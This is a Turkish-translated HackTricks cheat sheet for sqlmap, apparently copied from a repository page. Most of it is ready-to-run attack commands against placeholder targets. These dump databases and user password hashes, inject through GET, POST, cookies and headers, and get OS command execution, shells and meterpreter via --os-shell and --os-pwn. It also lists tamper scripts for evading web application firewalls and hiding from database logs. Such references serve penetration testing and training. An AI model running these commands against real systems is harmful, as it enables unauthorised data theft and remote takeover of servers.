hacktricks/pentesting-web/sql-injection/sqlmap.md

10 KiB
Raw Permalink Blame History

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

SQLmap için Temel Argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Bilgi Alma

Dahili

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB verileri

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Enjeksiyon Yeri

Burp/ZAP yakalamasından

İsteği yakalayın ve req.txt dosyası oluşturun.

sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

sqlmap -u "http://example.com" --data "username=*&password=*"

Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

İkinci derece enjeksiyon

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Özel Enjeksiyon

Bir sonek ayarlayın

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonu bulma konusunda yardım

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper ıklama
apostrophemask.py Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir
apostrophenullencode.py Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir
appendnullbyte.py Payload'un sonuna kodlanmış NULL byte karakteri ekler
base64encode.py Verilen payload'daki tüm karakterleri Base64 ile kodlar
between.py 'BÜYÜK' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir
bluecoat.py SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında karakter = ile LIKE operatörünü değiştirir
chardoubleencode.py Verilen payload'daki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemez)
commalesslimit.py 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir
commalessmid.py 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir
concat2concatws.py 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir
charencode.py Verilen payload'daki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemez)
charunicodeencode.py Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022"
charunicodeescape.py Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022"
equaltolike.py Eşitlik operatörünün tüm örneklerini ('=') 'LIKE' operatörü ile değiştirir
escapequotes.py Ters eğik çizgi ile alıntıları kaçırır (' ve ")
greatest.py BÜYÜK operatörünü ('>') 'GREATEST' karşılığı ile değiştirir
halfversionedmorekeywords.py Her anahtar kelimenin önüne sürümlü MySQL yorumu ekler
ifnull2ifisnull.py 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir
modsecurityversioned.py Tam sorguyu sürümlü yorum ile sarar
modsecurityzeroversioned.py Tam sorguyu sıfır sürümlü yorum ile sarar
multiplespaces.py SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler
nonrecursivereplacement.py Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örn. .replace("SELECT", "") filtreleri)
percentage.py Her karakterin önüne bir yüzde işareti ('%') ekler
overlongutf8.py Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez)
randomcase.py Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir
randomcomments.py SQL anahtar kelimelerine rastgele yorumlar ekler
securesphere.py Özel olarak hazırlanmış bir dize ekler
sp_password.py Payload'un sonuna 'sp_password' ekler, böylece DBMS günlüklerinden otomatik olarak gizlenir
space2comment.py Boşluk karakterini (' ') yorumlarla değiştirir
space2dash.py Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2hash.py Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2morehash.py Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler
space2mssqlblank.py Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir
space2mssqlhash.py Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler
space2mysqlblank.py Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir
space2mysqldash.py Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler
space2plus.py Boşluk karakterini (' ') artı ('+') ile değiştirir
space2randomblank.py Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir
symboliclogical.py AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve
unionalltounion.py UNION ALL SELECT'i UNION SELECT ile değiştirir
unmagicquotes.py Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ile (çalışması için)
uppercase.py Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir
varnish.py Bir HTTP başlığı 'X-originating-IP' ekler
versionedkeywords.py Her işlev olmayan anahtar kelimeyi sürümlü MySQL yorumu ile sarar
versionedmorekeywords.py Her anahtar kelimeyi sürümlü MySQL yorumu ile sarar
xforwardedfor.py Sahte bir HTTP başlığı 'X-Forwarded-For' ekler

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}